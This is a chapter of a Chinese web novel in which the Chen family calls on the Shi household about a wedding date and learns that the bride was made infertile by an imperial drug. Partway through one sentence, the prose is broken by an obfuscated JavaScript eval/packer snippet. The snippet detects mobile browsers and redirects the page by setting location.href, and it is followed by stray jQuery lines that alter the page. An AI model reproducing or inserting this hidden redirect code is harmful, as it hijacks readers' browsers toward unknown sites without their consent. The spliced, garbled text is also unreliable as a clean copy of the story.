25. 陈家来人议婚期

翌日,时霜正在监督府医给时蒲施针的时候,门房前来禀报,“老爷,小姐,陈夫人携陈家二公子和陈家五公子来访。”


陈家五公子就是陈疏白,他前面有两个哥哥,两个姐姐,他是最小的儿子,排行老五。


时蒲刚刚好施完针,侧头吩咐着,“快有请,青山!你出去迎一迎。”


他其实是有些紧张的,说来惭愧,他做了这么多年的太子太傅,甚至在承平帝面前都没有这般紧张过,如今霜儿的婚事在即,他居然有些害怕。


害怕陈家若知道霜儿不能孕育子嗣的事会不会反悔。


青山将人迎进来,陈夫人看起来与时蒲年纪相仿,但许是出于武将之家,身子骨倒是比时蒲要硬朗不少,走路更是无需他人搀扶,健步如飞。


陈寒青颇为无奈,“阿娘,你急什么?小五到手的媳妇儿又不会飞了。”


陈夫人停下脚步瞪了他一眼,“这说的是什么话?时家女娘是活生生的人,什么飞不飞的。”


“是是是,阿娘说的是,是儿子口不择言了。”


陈夫人这才放过他,继续往前走着,“我这般急切还不是你这好弟弟让我实在操心啊!他如今已经及冠,身边连个母蚊子都没有,都快没人要了,如今你阿弟好不容易开窍,这堪比天上掉馅饼的好事落到你阿弟头上,我可不得着急去定下?”


陈疏白摸了摸鼻子,眸子里闪过一丝不自然,他当时求赐婚是一时冲动,没能先去处理好陈家这边的事,所以他只好回去说他对时霜是一见钟情情难自禁,趁着立功就求娶了赐婚圣旨,他娘倒是好骗,但他哥倒是未必......


毕竟不久前他还信誓旦旦地说他不喜欢时霜呢。


果不其然,他哥得知圣旨已经送到家门口的时候,似笑非笑地问他:“不是就欣赏吗?谁家儿郎欣赏女娘欣赏到求圣旨了?嗯?”


他自说自话,哼笑:“原来是我家的小五啊。”


阴阳怪气的,陈疏白简直没脸面对。


“你说说你阿弟多让我操心!才五六岁就跟着你阿父去边疆,养在那荒芜之地,身边别说丫鬟了,连个岁数大的嬷嬷都不带,真是让我头疼。”陈夫人越数落越来劲,“还有他这及冠了好不容易归家,给他安排通房他也不要,说什么他要和喜欢的人才能......”


“阿娘,阿娘。”陈寒青生怕他娘说出什么不可言说的虎狼之词,赶忙出声制止,“这是在外面,太傅府的人还在呢。”


青山是习武之人,耳力好,方才陈夫人的话他听得一清二楚,但他没表现出来,笑着在前面引路,“夫人,拐过这道弯就到了。”


“好好。”陈夫人也笑着点头,用气音和陈寒青说:“你懂什么?这人下盘稳健,一看就会武,我说这些他肯定会传到主子耳朵里,也是想让时家人能对你阿弟印象好些,让他们知道小五不是那等纨绔子弟,不然人家好女娘怎得能看上你阿弟这等粗人?”


陈寒青恍然大悟,“原来如此,还是阿娘心思细腻。”


“那是。”


陈疏白没眼看,有没有可能会武之人,就连气音也能听清?他娘和他哥跟鬼上身了一样,这都没想到。


殊不知就连陈夫人对陈寒青说的话也是想让青山传到时蒲耳中的。


方才大声所说陈疏白,是为了彰显她们陈家的重视程度,也是念给时家人听,她的小五洁身自好又自小吃苦耐劳,时霜嫁的人绝对比得上京城里其他公子哥的。


后面又装作不知习武之人内力深厚,也是想间接告诉青山,他们说这话无恶意,只是双方不甚了解,如此能增添一些好印象足矣。


时蒲和时霜在正厅里等待着,等青山将人领到,时蒲也是笑着迎上去,“陈夫人多年不见,陈家两位嫡公子都长这么大了?真是一表人才啊,快请进快请进。”


陈夫人也是爽朗,哈哈一笑:“时太傅说这话就见外了,当年我夫君在京时,你与我可不是这般客气啊。”


“哎!如今我已不是太傅了,还是直接叫我名字就好,想来你也不喜这文人称呼。”追忆起当年,时蒲笑意真诚了些。


“也是,如今是霜儿接你衣钵,你这时太傅早就开始颐养天年了。”陈夫人开着玩笑,注意到时蒲身后的女娘,眼里闪过一丝惊艳,“这位就是霜儿吧?果真是倾国倾城,怪不得我家小五回来总是夸你,今日一看果然是出落得标志水灵。”


时霜表情有一瞬间的古怪,谁夸她?陈疏白?


掩下思绪,她落落大方地行礼,“霜儿见过陈夫人,陈夫人好。”


陈夫人越见她越喜欢,看见她的脸也不免想起她娘,心里更是多了几分怜爱,上前亲热地拉过她的手拍了拍,“霜儿莫要同我见外,我们陈家是武将之家,没那么多条条框框,喊我伯母便好。”


她乖巧应声:“陈伯母。”


“哎!”


“快坐快坐,怎么还一直站着说话。”时蒲看到婆媳二人相处愉快,心里也是高兴,招呼着,“青山上茶。”


陈夫人满意地落座,“赐婚一事是我家小五做的不够缜密,今日上门实属匆忙,但请放心,他阿父已经上折子从边疆往回赶了,定不会让令嫒等太久的,今日就只能由我这大儿子来替我陈家撑撑门面,还请勿要见怪。”


陈寒青在他娘的示意下起身行礼,“小儿虽比不上我阿父,但陈家定不会委屈了令嫒,还请时伯父放心,有什么要求尽管提,将军府定会置办妥当。”


陈寒青到底年长,行为处事成熟稳重,时蒲点头,“无妨无妨,我与陈铎将军本就有旧交,待他归来我们定是要聚上一聚的。”


“这婚事哪哪都好,只是......”他有些欲言又止。


陈夫人挑挑眉,“无妨,你有话直说便是。”


时霜淡定地喝茶,她知道时蒲要说什么,左右不过是看到熟人,读书人那光明磊落的毛病又犯了,觉得她不能生这事得和陈夫人说清楚才好,但又担心会出岔子,所以现在无比纠结。


她叹了口气,她阿父这么多年又当爹又当娘的,如今这女娘孕育之事也得他来开口,还挺不容易的。


“霜儿,你带着陈家两位公子去别处逛逛。”时蒲想要支开她。


时霜放下杯子,语气无奈,“阿父,咱这院子就那么大,陈疏白都不知道逛过多少遍了,有什么可逛的?你想说什么直说便是,支开我们干嘛?”


陈疏白嘴角拉平,“说的我和采花贼一样,谁逛过你家院子了?”


“你昨日来的时候没逛?”


“......”


陈夫人看着两人拌嘴,捂着嘴笑,“是啊,你有事直说便是,两个孩子在这怎么了?我还看不够呢。”


时蒲沉默了一会,开口问道:“陈夫人,陈五公子可


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787975|172715||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


与你提过我家霜儿的事?”


“这......”这话模棱两可,指的是何事?


陈夫人不解地看向陈疏白,后者心虚地转头不看她,不就是不能生嘛,多大的事儿啊,没孩子咋了?生个孩子吃穷老子,他才不想养孩子,说那么多做甚?


众人看他这样,也都心里有数了。


陈夫人的手指轻点桌子,从陈疏白躲闪的表情来看,隐瞒的可能是什么大事。


“小五未曾提过。”她实话实说。


时蒲也理解,他看着自己的女儿,还是无奈开口:“陈夫人,陈家是肱骨之臣,我不该瞒你,我儿能顺利承我衣钵,是因喝了陛下赐的绝子药才......”剩下的话他说不出来了,这是他促成的,每提一次都是痛彻心扉。


陈夫人难掩震惊,“什么?”


陈寒青也瞪大眼睛看向两位当事人,两位当事人反而波澜不惊,仿佛与自己无关。


时霜没什么反应是因为这事确实早晚也得告诉陈家人,她不可能隐瞒一辈子,就算嫁不成了她也没什么好说的。


陈疏白想得更简单了,这是圣旨,又不是随随便便的口头约定,真当谁都像云家人一样呢?他和时霜可是经过天子认证的,他娘再有不快也不得不同意,大不了成亲之后他跟着时霜住太傅府呗,还清净呢。况且,这其中的利弊,他回去一和他娘分析,他娘估计也不会再说什么了。


这样的反应时蒲也能料到,他轻叹,“若是陈夫人想要取消婚事......我还是能去求一求陛下的,陈夫人,你意下如何啊?”


陈夫人想了又想,最终还是没有拒绝这门婚事,正如陈疏白所想,她自然能自己想明白,圣上赐婚,轻易不可能更改,雷霆雨露皆是君恩,她不能拿将军府做筏子。


“这药喝了对霜儿只是子嗣有疾吗?”


时蒲一愣,显然他没细想过此事。


倒是时霜笑着接过话茬:“陈伯母,是药三分毒,子嗣是绝不可能有了,身子定是也会有损,但想来,嗯......也不会太过短命吧?”活那么长做甚?她早些完成任务早日归家多好,她才不要在这边活到七老八十。


时蒲愣愣地看向她,陛下命太医备药时,明明说这药选的全是温润药材,不会对身子亏损太大的,怎得霜儿还会......


时霜若是知道时蒲的想法,估计会忍不住翻白眼,拜托,那是伤害子宫的药,能是什么好东西?也就时蒲心性单纯,被皇帝忽悠地团团转。


陈疏白面色铁青,双拳紧握,这个承平帝,当真是没人性!


和陈夫人想的一样,她眼眸湿热,这该死的皇权啊!


“陈夫人若是介意,我们可以去陛下那儿好好说的,想来陛下仁善,定会给个满意的解决办法的。”毕竟承平帝也不想赐婚一对怨偶吧?


时霜以为自己不能生育加上短命这两件事一出,陈家人铁定会十分嫌弃,可她没想到陈夫人直接落下泪来,走到她面前就将瘦弱的她一把薅起拽进怀里,温柔地拍着她的背。


“我可怜的霜儿啊!呜呜呜,怎么这苦全让你一人吃了啊?你放心,你就放心地嫁给小五,以后阿娘在,谁都别想欺负你!”


“呜呜呜......天杀的皇......”


陈寒青眼疾手快地上去捂他娘的嘴,后背冷汗都出来了,“阿娘!”这话可不行说啊!